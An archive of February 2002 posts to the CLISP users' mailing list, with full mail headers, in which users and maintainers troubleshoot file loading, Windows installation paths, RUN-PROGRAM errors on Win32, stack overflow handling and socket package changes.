Feb 2002 10:58:47 -0800 Received: from sun23.aic.nrl.navy.mil (sun23.aic.nrl.navy.mil [132.250.84.33]) by sun0.aic.nrl.navy.mil (8.9.3+Sun/8.9.3) with ESMTP id NAA14872 for ; Mon, 25 Feb 2002 13:57:11 -0500 (EST) Received: (from abramson@localhost) by sun23.aic.nrl.navy.mil (8.11.6+Sun/8.10.2) id g1PIvAp19664; Mon, 25 Feb 2002 13:57:11 -0500 (EST) To: clisp-list@lists.sourceforge.net Reply-To: mabramso@gmu.edu From: myriam Message-ID: Lines: 27 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] load bug or feature? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Feb 25 10:59:05 2002 X-Original-Date: 25 Feb 2002 13:57:10 -0500 Hi! I'm at a loss to explain this behavior: NLP[11]> (defvar *blocks-home* "~/blocks") *BLOCKS-HOME* NLP[12]> (load (concatenate 'string *blocks-home* "/nlp-test.lisp")) *** - A file with name /rhome/5510/abramson/blocksnlp does not exist 1. Break NLP[13]> (probe-file (concatenate 'string *blocks-home* "/nlp-test.lisp")) #P"/rhome/5510/abramson/blocks/nlp-test.lisp" 1. Break NLP[13]> This does not work either 1. Break NLP[27]> (make-pathname :directory '(:absolute "rhome" "5510" "abramson" "blocks") :name "nlp-test" :type "lisp") #P"/rhome/5510/abramson/blocks/nlp-test.lisp" 1. Break NLP[27]> (load *) *** - A file with name /rhome/5510/abramson/blocksnlp does not exist 2. Break NLP[26]> Thanks for any help. -- myriam From abramson@aic.nrl.navy.mil Mon Feb 25 11:13:45 2002 Received: from sun0.aic.nrl.navy.mil ([132.250.84.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16fQZA-0005vf-00 for ; Mon, 25 Feb 2002 11:13:40 -0800 Received: from sun23.aic.nrl.navy.mil (sun23.aic.nrl.navy.mil [132.250.84.33]) by sun0.aic.nrl.navy.mil (8.9.3+Sun/8.9.3) with ESMTP id OAA15013 for ; Mon, 25 Feb 2002 14:12:07 -0500 (EST) Received: (from abramson@localhost) by sun23.aic.nrl.navy.mil (8.11.6+Sun/8.10.2) id g1PJC7t19676; Mon, 25 Feb 2002 14:12:07 -0500 (EST) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] load bug or feature? Reply-To: mabramso@gmu.edu From: myriam References: In-Reply-To: Message-ID: Lines: 6 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Feb 25 11:14:05 2002 X-Original-Date: 25 Feb 2002 14:12:07 -0500 Sorry. My bug! -- myriam From samuel.steingold@verizon.net Mon Feb 25 12:16:20 2002 Received: from out020pub.verizon.net ([206.46.170.176] helo=out020.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16fRXm-0003OB-00 for ; Mon, 25 Feb 2002 12:16:18 -0800 Received: from gnu.org ([151.203.224.254]) by out020.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020225201616.ORAO22012.out020.verizon.net@gnu.org>; Mon, 25 Feb 2002 14:16:16 -0600 To: Russell McManus Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] stack overflow -> into debugger? References: <87elj9jwz8.fsf@yahoo.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <87elj9jwz8.fsf@yahoo.com> Message-ID: Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Feb 25 12:45:52 2002 X-Original-Date: 25 Feb 2002 15:12:09 -0500 > * In message <87elj9jwz8.fsf@yahoo.com> > * On the subject of "[clisp-list] stack overflow -> into debugger?" > * Sent on 25 Feb 2002 12:24:27 -0500 > * Honorable Russell McManus writes: > > Is there some way to get clisp to drop me into the debugger when I get > a stack overflow condition? not really - debugger requires some stack too, and detecting an "impending" stack overflow is much more expensive than detecting an actual one. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Bus error -- please leave by the rear door. From Bill_Clementson@jdedwards.com Mon Feb 25 21:00:01 2002 Received: from ns2.jdedwards.com ([199.166.248.75]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16fZia-0003qn-00 for ; Mon, 25 Feb 2002 21:00:00 -0800 Received: from denvscans4.jdedwards.com ([10.0.14.76]) by ns2.jdedwards.com (8.9.1/8.9.1) with SMTP id VAA18819; Mon, 25 Feb 2002 21:59:47 -0700 (MST) Received: from 10.0.14.51 by denvscans4.jdedwards.com (InterScan E-Mail VirusWall NT); Mon, 25 Feb 2002 21:59:47 -0700 Received: by cormails11.jdedwards.com with Internet Mail Service (5.5.2653.19) id ; Mon, 25 Feb 2002 22:05:15 -0700 Message-ID: <08CFC733EDACD211AEA40008C7A4D39C07F8E712@cormails2.jdedwards.com> From: "Clementson, Bill" To: "'sds@gnu.org'" Cc: clisp-list@lists.sourceforge.net Subject: RE: [clisp-list] Problem with install.lisp in Windows MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Feb 25 21:00:02 2002 X-Original-Date: Mon, 25 Feb 2002 21:59:21 -0700 Sam Steingold writes: > writes: > > > > I don't know what BLAHS is and couldn't find any function or source > > file that looked like "BLAHS". Also, I don't know what you mean by > > "describing a UNICODE character" (well, more correctly, I know what > > the words mean, but I don't know how to do this in Lisp). Can you > > suggest a couple of test forms to try? > > (clhs 'car) > (desccribe (code-char 1234)) I came across a couple of problems trying to run these tests: Problem #1: In the CLISP 2.27 Windows distribution, the files clhs.txt and UnicodeData.txt are not included as part of the standard distribution. I copied them from the Linux source distribution. and re-ran the tests. Problem #2: After re-running the tests, I got the following result: [2]> (clhs 'car) ;; Reading `C:\Program Files\clisp-2.27\\clhs.txt' [46,458 bytes]...done [0.05 sec] BROWSE-URL: no browser specified; please point your browser at --> NIL [9]> (describe (code-char 1234)) #\CYRILLIC_CAPITAL_LETTER_A_WITH_DIAERESIS is a character. Unicode name: CYRILLIC CAPITAL LETTER A WITH DIAERESIS It is a printable character. Its use is non-portable. [10]> It seems to print the correct results; however, it was odd that the file listed was `C:\Program Files\clisp-2.27\\clhs.txt' (note the "\\" before the file name clhs.txt). To fix the problem, I removed the trailing "/" from the path that is written out following the "-B" option. In other words, I changed the batch file from this: @echo off "C:/Program Files/clisp-2.27/lisp.exe" -B "C:/Program Files/clisp-2.27/" -M "C:/Program Files/clisp-2.27/lispinit.mem" %1 %2 %3 %4 %5 %6 %7 %8 %9 To this: @echo off "C:/Program Files/clisp-2.27/lisp.exe" -B "C:/Program Files/clisp-2.27" -M "C:/Program Files/clisp-2.27/lispinit.mem" %1 %2 %3 %4 %5 %6 %7 %8 %9 Re-running the tests, I got the same results but with the following file listed: [2]> (clhs 'car) ;; Reading `C:\Program Files\clisp-2.27\clhs.txt' [46,458 bytes]...done [0.04 sec] [..] the remainder was the same I would suggest that the following changes be made: Suggested Fixes: #1: Include the clhs.txt and Unicode.txt files in the standard Windows distribution (they need to be distributed in the main clisp directory for the Windows distribution, not the data directory (I'm not sure why this is, but the code in describe.lisp expects this to be the case). #2: Check the install.lisp patch that you sent me into CVS but also modify install.lisp so that the path that is written out for the "-B" option in the install.bat file does not include a trailing "/". Thanks, Bill Clementson From Matise@biology.rutgers.edu Tue Feb 26 05:56:22 2002 Received: from nel-exchange.rutgers.edu ([128.6.130.4] helo=nel-exchange.ad.lifesciences.rutgers.edu) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16fi5c-0005x7-00 for ; Tue, 26 Feb 2002 05:56:20 -0800 Received: by nel-exchange.ad.lifesciences.rutgers.edu with Internet Mail Service (5.5.2653.19) id ; Tue, 26 Feb 2002 08:55:43 -0500 Message-ID: <32786300104BD311AC7E00508B6707D0D1A489@nel-exchange.ad.lifesciences.rutgers.edu> From: Matise@Biology.Rutgers.Edu To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C1BECD.48485E80" Subject: [clisp-list] FW: Q: problem with RUN-PROGRAM and EXECUTE in Win32 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Feb 26 05:57:04 2002 X-Original-Date: Tue, 26 Feb 2002 08:55:43 -0500 This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C1BECD.48485E80 Content-Type: text/plain; charset="iso-8859-1" > Thanks for suggestions from several individuals. However, I am still > unable to make run-program work to run a non-shell executable. I am > running version clisp-2.27-win32. > > To summarize what I have tried, and what works and what doesn't: > > > (cd) works (tells me what directory I am in). > > > (cd "c:\\some\\path\\") works to change my directory > > However, (run-program "myexe") does not work and always produces this > error message > > *** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the > file specified. > > regardless of whether the executable is in my current directory, or the > exe is in the path, or whether the full path to the exe is specified in > the run-program command. > > I have tested this with a very simple C program that just writes a number > to an output file (this exe works fine outside of CLISP). > > Also: (run-program "dir" :indirect t) does not work and returns "INDIRECT > is illegal for RUN-PROGRAM" error message. > Given this, I thought I might have to use EXECUTE instead, but it does not work properly either - I can make it run my executable once. However, if I try to run it again, I get this error: > *** - Win32 error 6 (ERROR_INVALID_HANDLE): The handle is invalid. > I have tested EXECUTE with 2 simple programs, one which simply writes a number to the screen, and one which writes a number to an output file, I get this message for both executables when I try to run them more than once. Still not able to port my Unix code to Win32 :-( Thanks for any further suggestions: Tara > * * * * * * * * * * * * * * * * * * * * * * * * > Tara C. Matise, Ph.D. Associate Research Professor > Department of Genetics 732-445-3125 (P) > Rutgers University 732-445-4972 (F) > matise@biology.rutgers.edu > http://compgen.rutgers.edu > > Nelson Biological Laboratories - B211 > 604 Allison Road > Piscataway, NJ 08854-8082 > ------_=_NextPart_001_01C1BECD.48485E80 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable FW: Q: problem with RUN-PROGRAM and EXECUTE in Win32

Thanks for suggestions from several = individuals.  However, I am still unable to make run-program work = to run a non-shell executable.  I am running version = clisp-2.27-win32.

To summarize what I have tried, and what works = and what doesn't:

> (cd) works (tells me what directory I am = in).

> (cd = "c:\\some\\path\\") works to change my directory

However, (run-program "myexe") does = not work and always produces this error message

*** - Win32 error 2 (ERROR_FILE_NOT_FOUND): = The system cannot find the file specified.

regardless of whether the executable is in my = current directory, or the exe is in the path, or whether the full path = to the exe is specified in the run-program command.

I have tested this with a very simple C program = that just writes a number to an output file (this exe works fine outside = of CLISP). 

Also:  (run-program "dir" = :indirect t) does not work and returns "INDIRECT is illegal for = RUN-PROGRAM" error message.

Given this, I thought I might have to = use EXECUTE instead, but it does not work properly either - I can make = it run my executable once.  However, if I try to run it again, I = get this error: 

*** - Win32 error 6 = (ERROR_INVALID_HANDLE): The handle is = invalid.

I have tested EXECUTE with 2 simple = programs, one which simply writes a number to the screen, and one which = writes a number to an output file, I get this message for both = executables when I try to run them more than once. 

Still not able to port my Unix code = to Win32 :-(

Thanks for any further = suggestions:

Tara
*  *  *  *  = *  *  *  *  *  *  *  *  *  = *  *  *  *  *  *  *  *  *  = *  * 
Tara C. Matise, = Ph.D.           = Associate Research Professor       =
Department of = Genetics       732-445-3125 (P)
Rutgers = University          &n= bsp;   732-445-4972 (F)
           &n= bsp;  matise@biology.rutgers.edu
           &n= bsp;  http://compgen.rutgers.edu

Nelson Biological Laboratories - B211
604 Allison Road
Piscataway, NJ  08854-8082

------_=_NextPart_001_01C1BECD.48485E80-- From samuel.steingold@verizon.net Tue Feb 26 06:13:59 2002 Received: from out016pub.verizon.net ([206.46.170.92] helo=out016.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16fiMg-0000tK-00 for ; Tue, 26 Feb 2002 06:13:58 -0800 Received: from gnu.org ([151.203.224.254]) by out016.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020226141351.BBOA28131.out016.verizon.net@gnu.org>; Tue, 26 Feb 2002 08:13:51 -0600 To: "Clementson, Bill" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Problem with install.lisp in Windows References: <08CFC733EDACD211AEA40008C7A4D39C07F8E712@cormails2.jdedwards.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <08CFC733EDACD211AEA40008C7A4D39C07F8E712@cormails2.jdedwards.com> Message-ID: Lines: 24 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Feb 26 06:14:08 2002 X-Original-Date: 26 Feb 2002 09:10:08 -0500 > * In message <08CFC733EDACD211AEA40008C7A4D39C07F8E712@cormails2.jdedwards.com> > * On the subject of "RE: [clisp-list] Problem with install.lisp in Windows" > * Sent on Mon, 25 Feb 2002 21:59:21 -0700 > * Honorable "Clementson, Bill" writes: > > Problem #1: In the CLISP 2.27 Windows distribution, the files clhs.txt > and UnicodeData.txt are not included as part of the standard > distribution. I copied them from the Linux source distribution. and > re-ran the tests. oops. I will look into this. > It seems to print the correct results; however, it was odd that the > file listed was `C:\Program Files\clisp-2.27\\clhs.txt' (note the "\\" > before the file name clhs.txt). To fix the problem, this is not a problem. ignore it. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Those who can't write, write manuals. From samuel.steingold@verizon.net Tue Feb 26 06:41:10 2002 Received: from out006pub.verizon.net ([206.46.170.106] helo=out006.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16fimx-0005b1-00 for ; Tue, 26 Feb 2002 06:41:08 -0800 Received: from gnu.org ([151.203.224.254]) by out006.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020226144029.FZLN18285.out006.verizon.net@gnu.org>; Tue, 26 Feb 2002 08:40:29 -0600 To: clisp-list@sourceforge.net Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold Message-ID: Lines: 16 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] message translations Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Feb 26 06:42:05 2002 X-Original-Date: 26 Feb 2002 09:37:15 -0500 CLISP is already localized for French, German, Spanish and Dutch. It is time to translate the new messages. I hope Stefan will handle German, and Arseny will finish Russian. We need someone to update French, Spanish and Dutch. This will require getting the message catalogs from the CVS in and translating the messages that lack translations. note: the files must be encoded in UTF-8. Volunteers? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Man has 2 states: hungry/angry and sate/sleepy. Catch him in transition. From ibum@hillcountry.net Tue Feb 26 07:30:26 2002 Received: from genesis.hillcountry.net ([207.235.18.194]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16fjYZ-0005nK-00 for ; Tue, 26 Feb 2002 07:30:22 -0800 Received: from localhost (hcn108.hillcountry.net [208.246.49.108] (may be forged)) by genesis.hillcountry.net (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id JAA29534 for ; Tue, 26 Feb 2002 09:33:04 -0600 Received: from localhost ([127.0.0.1] helo=localhost.home ident=ibum) by localhost with smtp (Exim 3.12 #1 (Debian)) id 16fjaj-0007eg-00 for ; Tue, 26 Feb 2002 09:32:33 -0600 To: From: IBMackey Message-ID: <87sn7os1gv.fsf@localhost.i-did-not-set--mail-host-address--so-shoot-me> Lines: 11 User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.4 (Artificial Intelligence) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Pg.lisp problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Feb 26 07:31:05 2002 X-Original-Date: 26 Feb 2002 09:32:32 -0600 Tried to load marsden's pg.lisp into clisp. Got error: READ from #: there is no package with name "SOCKET" Isn't the socket library builtin with clisp? If not, where can I get the package. thanks, i.b. From emarsden@laas.fr Tue Feb 26 07:39:59 2002 Received: from laas.laas.fr ([140.93.0.15]) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 16fjhq-0007kD-00 for ; Tue, 26 Feb 2002 07:39:55 -0800 Received: from moustacho.laas.fr (moustacho [140.93.21.71]) by laas.laas.fr (8.12.1/8.12.1) with ESMTP id g1QFdVAp017836; Tue, 26 Feb 2002 16:39:31 +0100 (CET) Received: (from emarsden@localhost) by moustacho.laas.fr (8.9.3/8.9.3) id QAA12067; Tue, 26 Feb 2002 16:39:31 +0100 (MET) To: IBMackey Cc: Subject: Re: [clisp-list] Pg.lisp problem References: <87sn7os1gv.fsf@localhost.i-did-not-set--mail-host-address--so-shoot-me> From: Eric Marsden Organization: LAAS-CNRS http://www.laas.fr/ X-Message-Flags: Don't Panic! X-Eric-Conspiracy: there is no conspiracy X-Attribution: ecm X-URL: http://www.chez.com/emarsden/ In-Reply-To: <87sn7os1gv.fsf@localhost.i-did-not-set--mail-host-address--so-shoot-me> (IBMackey's message of "26 Feb 2002 09:32:32 -0600") Message-ID: Lines: 16 User-Agent: Gnus/5.090004 (Oort Gnus v0.04) Emacs/20.6 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Feb 26 07:40:07 2002 X-Original-Date: Tue, 26 Feb 2002 16:39:31 +0100 >>>>> "ib" == IBMackey writes: ib> Tried to load marsden's pg.lisp into clisp. Got error: ib> READ from # #P"/home/ibum/Clisp/pg.lisp" ib> @1109>: there is no package with name "SOCKET" you seem to be using an old version of CLISP (please include the version number and platform in problem reports). If you read the comments around the line number indicated by CLISP, you will see ;; prior to version 2.26 of CLISP this should read lisp:socket-connect ;; instead. -- Eric Marsden From toy@rtp.ericsson.se Tue Feb 26 09:00:42 2002 Received: from imr1.ericy.com ([208.237.135.240]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16fky0-0008Ay-00 for ; Tue, 26 Feb 2002 09:00:40 -0800 Received: from mr7.exu.ericsson.se (mr7u3.ericy.com [208.237.135.122]) by imr1.ericy.com (8.11.3/8.11.3) with ESMTP id g1QH0Dh04757 for ; Tue, 26 Feb 2002 11:00:13 -0600 (CST) Received: from eamrcnt749 (eamrcnt749.exu.ericsson.se [138.85.133.47]) by mr7.exu.ericsson.se (8.11.3/8.11.3) with SMTP id g1QH0CE01299 for ; Tue, 26 Feb 2002 11:00:12 -0600 (CST) Received: FROM netmanager7.rtp.ericsson.se BY eamrcnt749 ; Tue Feb 26 11:00:11 2002 -0600 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.122.19]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id MAA15538; Tue, 26 Feb 2002 12:02:28 -0500 (EST) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se (8.10.2+Sun/8.9.3) id g1QH0Af19551; Tue, 26 Feb 2002 12:00:10 -0500 (EST) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: Russell McManus Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] stack overflow -> into debugger? References: <87elj9jwz8.fsf@yahoo.com> From: Raymond Toy In-Reply-To: Message-ID: <4nbseci3fq.fsf@rtp.ericsson.se> Lines: 29 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (bamboo) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Feb 26 09:01:28 2002 X-Original-Date: 26 Feb 2002 12:00:09 -0500 >>>>> "Sam" == Sam Steingold writes: >> * In message <87elj9jwz8.fsf@yahoo.com> >> * On the subject of "[clisp-list] stack overflow -> into debugger?" >> * Sent on 25 Feb 2002 12:24:27 -0500 >> * Honorable Russell McManus writes: >> >> Is there some way to get clisp to drop me into the debugger when I get >> a stack overflow condition? Sam> not really - debugger requires some stack too, and detecting an Sam> "impending" stack overflow is much more expensive than detecting an Sam> actual one. Just a thought. Have no idea if this would really work. Assume that the end of stack is unwriteable memory and that's how stack overflow is detected. Make the actual stack somewhat smaller than the allocated space, and make the extra space unwriteable. On stack overflow, make the extra space writeable so we actually have more space. Continue. When you exit the debugger, the extra stack space is made unwriteable again. If you blow the stack in the debugger, you lose. Would this work? Ray From eduardomf@terra.es Tue Feb 26 10:13:43 2002 Received: from mailhost.teleline.es ([195.235.113.141] helo=tsmtp6.mail.isp) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16fm6e-0000Gn-00 for ; Tue, 26 Feb 2002 10:13:40 -0800 Received: from emf ([213.97.133.29]) by tsmtp6.mail.isp (Netscape Messaging Server 4.15 tsmtp6 Jul 26 2001 13:10:38) with SMTP id GS5JY801.0HB for ; Tue, 26 Feb 2002 19:13:20 +0100 Message-ID: <002e01c1bef1$eb4f19b0$0200000a@emf> From: =?iso-8859-1?Q?Eduardo_Mu=F1oz?= To: References: <32786300104BD311AC7E00508B6707D0D1A489@nel-exchange.ad.lifesciences.rutgers.edu> Subject: Re: [clisp-list] FW: Q: problem with RUN-PROGRAM and EXECUTE in Win32 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Feb 26 10:14:14 2002 X-Original-Date: Tue, 26 Feb 2002 19:17:58 +0100 > > However, (run-program "myexe") does not work and always produces this > > error message > > > > *** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the > > file specified. Maybe this will help: (I'm running Clisp on Windows 2000) D:\Datos\Programacion\Lisp>clisp [1]> (lisp-implementation-type) "CLISP" [2]> (lisp-implementation-version) "2.27 (released 2001-07-17) (built on ssteingold.exapps.com [172.23.101.12])" [3]> (run-program "notepad.exe") T [4]> (cd "d:/datos/programacion/c++/arcom/bin/") #P"D:\\datos\\programacion\\c++\\arcom\\bin\\" [5]> (run-program "arcom.exe") Arcom ® 2001 Eduardo Mu±oz Uso: Arcom Fichero.prt T [6]> (exit) D:\Datos\Programacion\Lisp> Arcom.exe is a simple program written by me. HTH From samuel.steingold@verizon.net Tue Feb 26 11:24:01 2002 Received: from out004slb.verizon.net ([206.46.170.16] helo=out004.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16fnCi-0007jY-00 for ; Tue, 26 Feb 2002 11:24:00 -0800 Received: from gnu.org ([151.203.224.254]) by out004.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020226192401.XFSM11372.out004.verizon.net@gnu.org>; Tue, 26 Feb 2002 13:24:01 -0600 To: Eric Marsden Cc: IBMackey , Subject: Re: [clisp-list] Pg.lisp problem References: <87sn7os1gv.fsf@localhost.i-did-not-set--mail-host-address--so-shoot-me> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 29 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Feb 26 11:24:21 2002 X-Original-Date: 26 Feb 2002 14:20:18 -0500 > * In message > * On the subject of "Re: [clisp-list] Pg.lisp problem" > * Sent on Tue, 26 Feb 2002 16:39:31 +0100 > * Honorable Eric Marsden writes: > > >>>>> "ib" == IBMackey writes: > > ib> Tried to load marsden's pg.lisp into clisp. Got error: > ib> READ from # ib> #P"/home/ibum/Clisp/pg.lisp" > ib> @1109>: there is no package with name "SOCKET" > > you seem to be using an old version of CLISP (please include the > version number and platform in problem reports). If you read the > comments around the line number indicated by CLISP, you will see > > ;; prior to version 2.26 of CLISP this should read lisp:socket-connect > ;; instead. that's why I introduced a feature LISP=CL when I did the repackaging. please see for an example. I urge you to actually use that portability layer - it will save you and your users much aggravation. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! If You Want Breakfast In Bed, Sleep In the Kitchen. From samuel.steingold@verizon.net Tue Feb 26 11:37:54 2002 Received: from out020pub.verizon.net ([206.46.170.176] helo=out020.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16fnQ8-0001vH-00 for ; Tue, 26 Feb 2002 11:37:52 -0800 Received: from gnu.org ([151.203.224.254]) by out020.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020226193750.UOCA22012.out020.verizon.net@gnu.org>; Tue, 26 Feb 2002 13:37:50 -0600 To: Matise@nel-exchange.Rutgers.Edu Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] FW: Q: problem with RUN-PROGRAM and EXECUTE in Win32 References: <32786300104BD311AC7E00508B6707D0D1A489@nel-exchange.ad.lifesciences.rutgers.edu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <32786300104BD311AC7E00508B6707D0D1A489@nel-exchange.ad.lifesciences.rutgers.edu> Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: 